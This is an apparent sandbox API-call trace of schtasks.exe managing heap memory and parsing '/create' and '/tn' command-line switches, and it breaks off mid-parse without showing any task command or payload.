0x290000 [0153.329] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2acc00) returned 1 [0153.329] GetProcessHeap () returned 0x290000 [0153.329] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2acc00) returned 0x20 [0153.329] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2acc00 | out: hHeap=0x290000) returned 1 [0153.329] GetProcessHeap () returned 0x290000 [0153.329] GetProcessHeap () returned 0x290000 [0153.329] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2adc90) returned 1 [0153.329] GetProcessHeap () returned 0x290000 [0153.329] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2adc90) returned 0x8 [0153.330] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2adc90 | out: hHeap=0x290000) returned 1 [0153.330] GetProcessHeap () returned 0x290000 [0153.330] GetProcessHeap () returned 0x290000 [0153.330] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2acc30) returned 1 [0153.330] GetProcessHeap () returned 0x290000 [0153.330] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2acc30) returned 0x20 [0153.330] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2acc30 | out: hHeap=0x290000) returned 1 [0153.330] GetProcessHeap () returned 0x290000 [0153.330] GetProcessHeap () returned 0x290000 [0153.330] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2ad4e0) returned 1 [0153.330] GetProcessHeap () returned 0x290000 [0153.331] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2ad4e0) returned 0xe [0153.331] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2ad4e0 | out: hHeap=0x290000) returned 1 [0153.331] GetProcessHeap () returned 0x290000 [0153.331] GetProcessHeap () returned 0x290000 [0153.331] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2acc60) returned 1 [0153.331] GetProcessHeap () returned 0x290000 [0153.331] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2acc60) returned 0x20 [0153.331] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2acc60 | out: hHeap=0x290000) returned 1 [0153.331] GetProcessHeap () returned 0x290000 [0153.331] GetProcessHeap () returned 0x290000 [0153.331] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2adcb0) returned 1 [0153.331] GetProcessHeap () returned 0x290000 [0153.332] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2adcb0) returned 0x8 [0153.332] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2adcb0 | out: hHeap=0x290000) returned 1 [0153.332] GetProcessHeap () returned 0x290000 [0153.332] GetProcessHeap () returned 0x290000 [0153.332] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2acc90) returned 1 [0153.332] GetProcessHeap () returned 0x290000 [0153.332] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2acc90) returned 0x20 [0153.332] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2acc90 | out: hHeap=0x290000) returned 1 [0153.332] GetProcessHeap () returned 0x290000 [0153.332] GetProcessHeap () returned 0x290000 [0153.332] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2adcd0) returned 1 [0153.332] GetProcessHeap () returned 0x290000 [0153.332] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2adcd0) returned 0x4 [0153.333] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2adcd0 | out: hHeap=0x290000) returned 1 [0153.333] GetProcessHeap () returned 0x290000 [0153.333] GetProcessHeap () returned 0x290000 [0153.333] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2accc0) returned 1 [0153.333] GetProcessHeap () returned 0x290000 [0153.333] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2accc0) returned 0x20 [0153.333] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2accc0 | out: hHeap=0x290000) returned 1 [0153.333] GetProcessHeap () returned 0x290000 [0153.333] GetProcessHeap () returned 0x290000 [0153.333] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2adcf0) returned 1 [0153.333] GetProcessHeap () returned 0x290000 [0153.333] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2adcf0) returned 0x8 [0153.333] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2adcf0 | out: hHeap=0x290000) returned 1 [0153.333] GetProcessHeap () returned 0x290000 [0153.334] GetProcessHeap () returned 0x290000 [0153.334] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2accf0) returned 1 [0153.334] GetProcessHeap () returned 0x290000 [0153.334] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2accf0) returned 0x20 [0153.334] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2accf0 | out: hHeap=0x290000) returned 1 [0153.334] GetProcessHeap () returned 0x290000 [0153.334] GetProcessHeap () returned 0x290000 [0153.334] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2add70) returned 1 [0153.334] GetProcessHeap () returned 0x290000 [0153.334] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2add70) returned 0x4e [0153.335] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2add70 | out: hHeap=0x290000) returned 1 [0153.335] GetProcessHeap () returned 0x290000 [0153.335] GetProcessHeap () returned 0x290000 [0153.337] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2acd20) returned 1 [0153.337] GetProcessHeap () returned 0x290000 [0153.337] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2acd20) returned 0x20 [0153.338] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2acd20 | out: hHeap=0x290000) returned 1 [0153.338] GetProcessHeap () returned 0x290000 [0153.338] GetProcessHeap () returned 0x290000 [0153.338] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2addd0) returned 1 [0153.338] GetProcessHeap () returned 0x290000 [0153.338] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2addd0) returned 0x8 [0153.338] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2addd0 | out: hHeap=0x290000) returned 1 [0153.338] GetProcessHeap () returned 0x290000 [0153.338] GetProcessHeap () returned 0x290000 [0153.339] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2acd50) returned 1 [0153.339] GetProcessHeap () returned 0x290000 [0153.339] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2acd50) returned 0x20 [0153.339] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2acd50 | out: hHeap=0x290000) returned 1 [0153.339] GetProcessHeap () returned 0x290000 [0153.339] GetProcessHeap () returned 0x290000 [0153.339] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2ad560) returned 1 [0153.339] GetProcessHeap () returned 0x290000 [0153.340] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2ad560) returned 0x10 [0153.340] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2ad560 | out: hHeap=0x290000) returned 1 [0153.340] GetProcessHeap () returned 0x290000 [0153.340] GetProcessHeap () returned 0x290000 [0153.340] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2acd80) returned 1 [0153.340] GetProcessHeap () returned 0x290000 [0153.340] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2acd80) returned 0x20 [0153.340] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2acd80 | out: hHeap=0x290000) returned 1 [0153.342] GetProcessHeap () returned 0x290000 [0153.342] GetProcessHeap () returned 0x290000 [0153.342] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2addf0) returned 1 [0153.342] GetProcessHeap () returned 0x290000 [0153.342] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2addf0) returned 0x6 [0153.343] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2addf0 | out: hHeap=0x290000) returned 1 [0153.343] GetProcessHeap () returned 0x290000 [0153.343] GetProcessHeap () returned 0x290000 [0153.343] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2acdb0) returned 1 [0153.343] GetProcessHeap () returned 0x290000 [0153.343] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2acdb0) returned 0x20 [0153.343] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2acdb0 | out: hHeap=0x290000) returned 1 [0153.343] GetProcessHeap () returned 0x290000 [0153.344] GetProcessHeap () returned 0x290000 [0153.344] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2ab990) returned 1 [0153.344] GetProcessHeap () returned 0x290000 [0153.344] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2ab990) returned 0x18 [0153.344] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2ab990 | out: hHeap=0x290000) returned 1 [0153.344] SetLastError (dwErrCode=0x0) [0153.344] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0153.344] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0153.345] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0153.345] VerifyVersionInfoW (in: lpVersionInformation=0x19c490, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x19c490) returned 1 [0153.345] SetLastError (dwErrCode=0x0) [0153.345] lstrlenW (lpString="create") returned 6 [0153.345] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0153.345] SetLastError (dwErrCode=0x490) [0153.345] SetLastError (dwErrCode=0x0) [0153.345] lstrlenW (lpString="create") returned 6 [0153.345] GetProcessHeap () returned 0x290000 [0153.345] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acdb0 [0153.345] GetProcessHeap () returned 0x290000 [0153.345] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x18) returned 0x2ad560 [0153.345] _memicmp (_Buf1=0x2ad560, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.345] GetProcessHeap () returned 0x290000 [0153.345] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x16) returned 0x2ad4e0 [0153.346] SetLastError (dwErrCode=0x0) [0153.346] _memicmp (_Buf1=0x2aba50, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.346] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2abbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0153.346] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0153.346] GetProcessHeap () returned 0x290000 [0153.347] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x74e) returned 0x2add70 [0153.347] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2add70 | out: lpData=0x2add70) returned 1 [0153.347] VerQueryValueW (in: pBlock=0x2add70, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19c578, puLen=0x19c5e0 | out: lplpBuffer=0x19c578*=0x2ae10c, puLen=0x19c5e0) returned 1 [0153.347] _memicmp (_Buf1=0x2aba50, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.347] _vsnwprintf (in: _Buffer=0x2abbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x19c558 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0153.348] VerQueryValueW (in: pBlock=0x2add70, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x19c5e8, puLen=0x19c5d8 | out: lplpBuffer=0x19c5e8*=0x2adf38, puLen=0x19c5d8) returned 1 [0153.348] lstrlenW (lpString="schtasks.exe") returned 12 [0153.348] lstrlenW (lpString="schtasks.exe") returned 12 [0153.348] lstrlenW (lpString=".EXE") returned 4 [0153.348] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0153.348] lstrlenW (lpString="schtasks.exe") returned 12 [0153.348] lstrlenW (lpString=".EXE") returned 4 [0153.348] lstrlenW (lpString="schtasks") returned 8 [0153.348] lstrlenW (lpString="/create") returned 7 [0153.348] _memicmp (_Buf1=0x2aba50, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.348] _vsnwprintf (in: _Buffer=0x2abbf0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x19c558 | out: _Buffer="schtasks /create") returned 16 [0153.348] _memicmp (_Buf1=0x2aba70, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.349] GetProcessHeap () returned 0x290000 [0153.349] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acd80 [0153.349] _memicmp (_Buf1=0x2aba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.349] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2ad280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0153.349] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0153.351] GetProcessHeap () returned 0x290000 [0153.351] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x30) returned 0x2a7a90 [0153.351] _vsnwprintf (in: _Buffer=0x2abff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x19c558 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0153.351] GetProcessHeap () returned 0x290000 [0153.351] GetProcessHeap () returned 0x290000 [0153.351] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2add70) returned 1 [0153.351] GetProcessHeap () returned 0x290000 [0153.351] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2add70) returned 0x74e [0153.352] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2add70 | out: hHeap=0x290000) returned 1 [0153.352] SetLastError (dwErrCode=0x0) [0153.352] GetThreadLocale () returned 0x409 [0153.352] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.352] lstrlenW (lpString="create") returned 6 [0153.352] GetThreadLocale () returned 0x409 [0153.352] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.353] lstrlenW (lpString="?") returned 1 [0153.353] GetThreadLocale () returned 0x409 [0153.353] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.353] lstrlenW (lpString="s") returned 1 [0153.353] GetThreadLocale () returned 0x409 [0153.353] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.353] lstrlenW (lpString="u") returned 1 [0153.353] GetThreadLocale () returned 0x409 [0153.353] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.353] lstrlenW (lpString="p") returned 1 [0153.353] GetThreadLocale () returned 0x409 [0153.353] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.353] lstrlenW (lpString="ru") returned 2 [0153.353] GetThreadLocale () returned 0x409 [0153.353] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.353] lstrlenW (lpString="rp") returned 2 [0153.354] GetThreadLocale () returned 0x409 [0153.354] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.354] lstrlenW (lpString="sc") returned 2 [0153.354] GetThreadLocale () returned 0x409 [0153.354] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.354] lstrlenW (lpString="mo") returned 2 [0153.354] GetThreadLocale () returned 0x409 [0153.354] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.354] lstrlenW (lpString="d") returned 1 [0153.354] GetThreadLocale () returned 0x409 [0153.354] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.354] lstrlenW (lpString="m") returned 1 [0153.354] GetThreadLocale () returned 0x409 [0153.354] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.354] lstrlenW (lpString="i") returned 1 [0153.354] GetThreadLocale () returned 0x409 [0153.354] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.354] lstrlenW (lpString="tn") returned 2 [0153.354] GetThreadLocale () returned 0x409 [0153.354] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.355] lstrlenW (lpString="tr") returned 2 [0153.355] GetThreadLocale () returned 0x409 [0153.355] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.355] lstrlenW (lpString="st") returned 2 [0153.355] GetThreadLocale () returned 0x409 [0153.355] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.355] lstrlenW (lpString="sd") returned 2 [0153.355] GetThreadLocale () returned 0x409 [0153.355] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.355] lstrlenW (lpString="ed") returned 2 [0153.355] GetThreadLocale () returned 0x409 [0153.355] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.355] lstrlenW (lpString="it") returned 2 [0153.355] GetThreadLocale () returned 0x409 [0153.355] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.355] lstrlenW (lpString="et") returned 2 [0153.355] GetThreadLocale () returned 0x409 [0153.355] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.355] lstrlenW (lpString="k") returned 1 [0153.355] GetThreadLocale () returned 0x409 [0153.355] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.355] lstrlenW (lpString="du") returned 2 [0153.355] GetThreadLocale () returned 0x409 [0153.355] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.355] lstrlenW (lpString="ri") returned 2 [0153.355] GetThreadLocale () returned 0x409 [0153.356] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.356] lstrlenW (lpString="z") returned 1 [0153.369] GetThreadLocale () returned 0x409 [0153.369] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.369] lstrlenW (lpString="f") returned 1 [0153.369] GetThreadLocale () returned 0x409 [0153.369] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.369] lstrlenW (lpString="v1") returned 2 [0153.369] GetThreadLocale () returned 0x409 [0153.369] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.369] lstrlenW (lpString="xml") returned 3 [0153.369] GetThreadLocale () returned 0x409 [0153.369] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.369] lstrlenW (lpString="ec") returned 2 [0153.369] GetThreadLocale () returned 0x409 [0153.369] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.369] lstrlenW (lpString="rl") returned 2 [0153.369] GetThreadLocale () returned 0x409 [0153.369] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.369] lstrlenW (lpString="delay") returned 5 [0153.370] GetThreadLocale () returned 0x409 [0153.370] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.370] lstrlenW (lpString="np") returned 2 [0153.370] SetLastError (dwErrCode=0x0) [0153.370] SetLastError (dwErrCode=0x0) [0153.370] lstrlenW (lpString="/create") returned 7 [0153.370] lstrlenW (lpString="-/") returned 2 [0153.370] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0153.370] lstrlenW (lpString="create") returned 6 [0153.370] lstrlenW (lpString="create") returned 6 [0153.370] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.370] lstrlenW (lpString="create") returned 6 [0153.370] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.370] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|create|") returned 8 [0153.370] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|create|") returned 8 [0153.370] lstrlenW (lpString="|create|") returned 8 [0153.370] lstrlenW (lpString="|create|") returned 8 [0153.370] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0153.370] SetLastError (dwErrCode=0x0) [0153.370] SetLastError (dwErrCode=0x0) [0153.370] SetLastError (dwErrCode=0x0) [0153.370] lstrlenW (lpString="/tn") returned 3 [0153.371] lstrlenW (lpString="-/") returned 2 [0153.371] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0153.371] lstrlenW (lpString="create") returned 6 [0153.371] lstrlenW (lpString="create") returned 6 [0153.371] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.371] lstrlenW (lpString="tn") returned 2 [0153.371] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.371] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|create|") returned 8 [0153.371] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0153.371] lstrlenW (lpString="|create|") returned 8 [0153.371] lstrlenW (lpString="|tn|") returned 4 [0153.371] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0153.371] SetLastError (dwErrCode=0x490) [0153.371] lstrlenW (lpString="?") returned 1 [0153.371] lstrlenW (lpString="?") returned 1 [0153.371] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.371] lstrlenW (lpString="tn") returned 2 [0153.371] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.371] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|?|") returned 3 [0153.371] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0153.371] lstrlenW (lpString="|?|") returned 3 [0153.371] lstrlenW (lpString="|tn|") returned 4 [0153.372] SetLastError (dwErrCode=0x490) [0153.372] lstrlenW (lpString="s") returned 1 [0153.372] lstrlenW (lpString="s") returned 1 [0153.372] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.372] lstrlenW (lpString="tn") returned 2 [0153.372] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.372] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|s|") returned 3 [0153.372] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0153.372] lstrlenW (lpString="|s|") returned 3 [0153.372] lstrlenW (lpString="|tn|") returned 4 [0153.372] SetLastError (dwErrCode=0x490) [0153.372] lstrlenW (lpString="u") returned 1 [0153.372] lstrlenW (lpString="u") returned 1 [0153.372] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.372] lstrlenW (lpString="tn") returned 2 [0153.372] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.373] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|u|") returned 3 [0153.373] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0153.373] lstrlenW (lpString="|u|") returned 3 [0153.373] lstrlenW (lpString="|tn|") returned 4 [0153.373] SetLastError (dwErrCode=0x490) [0153.373] lstrlenW (lpString="p") returned 1 [0153.373] lstrlenW (lpString="p") returned 1 [0153.373] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.373] lstrlenW (lpString="tn") returned 2 [0153.373] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.373] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|p|") returned 3 [0153.373] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0153.373] lstrlenW (lpString="|p|") returned 3 [0153.373] lstrlenW (lpString="|tn|") returned 4 [0153.373] SetLastError (dwErrCode=0x490) [0153.373] lstrlenW (lpString="ru") returned 2 [0153.373] lstrlenW (lpString="ru") returned 2 [0153.373] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.374] lstrlenW (lpString="tn") returned 2 [0153.374] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.374] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ru|") returned 4 [0153.374] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0153.374] lstrlenW (lpString="|ru|") returned 4 [0153.374] lstrlenW (lpString="|tn|") returned 4 [0153.374] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0153.374] SetLastError (dwErrCode=0x490) [0153.374] lstrlenW (lpString="rp") returned 2 [0153.374] lstrlenW (lpString="rp") returned 2 [0153.374] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.374] lstrlenW (lpString="tn") returned 2 [0153.374] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.374] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rp|") returned 4 [0153.374] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0153.374] lstrlenW (lpString="|rp|") returned 4 [0153.374] lstrlenW (lpString="|tn|") 